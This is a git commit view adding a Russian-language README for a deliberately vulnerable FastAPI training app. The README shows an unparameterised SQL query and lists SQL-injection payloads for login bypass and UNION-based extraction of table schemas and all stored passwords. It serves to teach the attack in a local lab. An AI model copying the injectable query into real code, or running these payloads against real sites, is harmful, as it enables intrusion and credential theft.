Compare commits
10 Commits
a05fd59274
...
59aaa4ced6
| Author | SHA1 | Date | |
|---|---|---|---|
| 59aaa4ced6 | |||
| d448005293 | |||
| a7ee7331f8 | |||
| 06900e2768 | |||
| a24c1f0957 | |||
| 3086d1801d | |||
| 5c4590ff16 | |||
| c7d8803795 | |||
| 9a1b84c267 | |||
| d3e5abbc98 |
112
readme.md
Normal file
112
readme.md
Normal file
@@ -0,0 +1,112 @@
|
|||||||
|
# Kulesh_Web_app - Уязвимое веб-приложение
|
||||||
|
|
||||||
|
Это уязвимое веб-приложение создано для демонстрации SQL-инъекций и других веб-уязвимостей. Приложение написано на Python с использованием FastAPI.
|
||||||
|
|
||||||
|
## Функциональность приложения
|
||||||
|
|
||||||
|
- ✅ Регистрация пользователей
|
||||||
|
- ✅ Авторизация пользователей
|
||||||
|
- ✅ Cookie-аутентификация
|
||||||
|
- ✅ Страница приветствия для авторизованных пользователей
|
||||||
|
- ✅ Docker-контейнеризация
|
||||||
|
|
||||||
|
## Сборка и запуск
|
||||||
|
|
||||||
|
### Сборка Docker-образа
|
||||||
|
```bash
|
||||||
|
docker build -t kulesh_web-app:v0.0.1a .
|
||||||
|
```
|
||||||
|
|
||||||
|
### Запуск приложения
|
||||||
|
```bash
|
||||||
|
docker compose up
|
||||||
|
```
|
||||||
|
|
||||||
|
Приложение будет доступно по адресу: http://localhost:8000
|
||||||
|
|
||||||
|
## Работа с CURL
|
||||||
|
|
||||||
|
### Регистрация пользователя Administrator
|
||||||
|
```bash
|
||||||
|
curl -X POST -d "login=Administrator&password=admin123" http://localhost:8000/register
|
||||||
|
```
|
||||||
|
|
||||||
|
### Регистрация пользователя Kulesh_AS
|
||||||
|
```bash
|
||||||
|
curl -X POST -d "login=kulesh_as&password=mypass123" http://localhost:8000/register
|
||||||
|
```
|
||||||
|
|
||||||
|
### Авторизация через CURL
|
||||||
|
```bash
|
||||||
|
curl -X POST -d "login=Administrator&password=admin123" -c cookies.txt http://localhost:8000/login
|
||||||
|
```
|
||||||
|
|
||||||
|
### Доступ к защищенной странице
|
||||||
|
```bash
|
||||||
|
curl -b cookies.txt http://localhost:8000/welcome
|
||||||
|
```
|
||||||
|
|
||||||
|
## ЭКСПЛУАТАЦИЯ УЯЗВИМОСТЕЙ
|
||||||
|
|
||||||
|
### SQL-инъекция через форму авторизации
|
||||||
|
|
||||||
|
Приложение содержит критическую SQL-инъекцию в формах регистрации и авторизации. Уязвимый код:
|
||||||
|
|
||||||
|
```python
|
||||||
|
cursor.execute(f"SELECT * FROM users WHERE login='{login}' AND password='{password}'")
|
||||||
|
```
|
||||||
|
|
||||||
|
Данные пользователя напрямую подставляются в SQL-запрос без экранирования, что позволяет выполнять произвольные SQL-команды.
|
||||||
|
|
||||||
|
### Базовый обход аутентификации
|
||||||
|
|
||||||
|
**Payload для поля login:**
|
||||||
|
```sql
|
||||||
|
' OR 1=1--
|
||||||
|
```
|
||||||
|
|
||||||
|
**Поле password:** (любое значение)
|
||||||
|
|
||||||
|
Этот payload закомментирует проверку пароля и войдет как первый пользователь в базе.
|
||||||
|
|
||||||
|
### Извлечение информации о базе данных
|
||||||
|
|
||||||
|
#### 1. Получение списка подключенных файлов БД:
|
||||||
|
```sql
|
||||||
|
' UNION SELECT 1, group_concat(name || ':' || file), 3 FROM pragma_database_list --
|
||||||
|
```
|
||||||
|
|
||||||
|
#### 2. Получение списка пользовательских таблиц:
|
||||||
|
```sql
|
||||||
|
' UNION SELECT 1, group_concat(name), 3 FROM sqlite_master WHERE type='table' AND name NOT LIKE 'sqlite_%' --
|
||||||
|
```
|
||||||
|
|
||||||
|
#### 3. Получение схем всех таблиц:
|
||||||
|
```sql
|
||||||
|
' UNION SELECT 1, group_concat(sql, char(10) || char(10)), 3 FROM sqlite_master WHERE type='table' --
|
||||||
|
```
|
||||||
|
|
||||||
|
#### 4. Извлечение всех пользователей и паролей:
|
||||||
|
```sql
|
||||||
|
' UNION SELECT id, login, password FROM users --
|
||||||
|
```
|
||||||
|
|
||||||
|
#### 5. Получение данных конкретного пользователя Administrator:
|
||||||
|
```sql
|
||||||
|
' UNION SELECT id, login, password FROM users WHERE login='Administrator' --
|
||||||
|
```
|
||||||
|
|
||||||
|
### Пошаговая эксплуатация
|
||||||
|
|
||||||
|
1. **Откройте форму входа:** http://localhost:8000/login
|
||||||
|
|
||||||
|
2. **Введите базовый payload для обхода аутентификации:**
|
||||||
|
- Login: `' OR 1=1--`
|
||||||
|
- Password: `test`
|
||||||
|
|
||||||
|
3. **Для извлечения данных используйте UNION-based инъекцию:**
|
||||||
|
- Login: `' UNION SELECT id, login, password FROM users --`
|
||||||
|
- Password: `test`
|
||||||
|
|
||||||
|
4. **В ответе на странице приветствия вы увидите данные всех пользователей**
|
||||||
|
|
||||||
Reference in New Issue
Block a user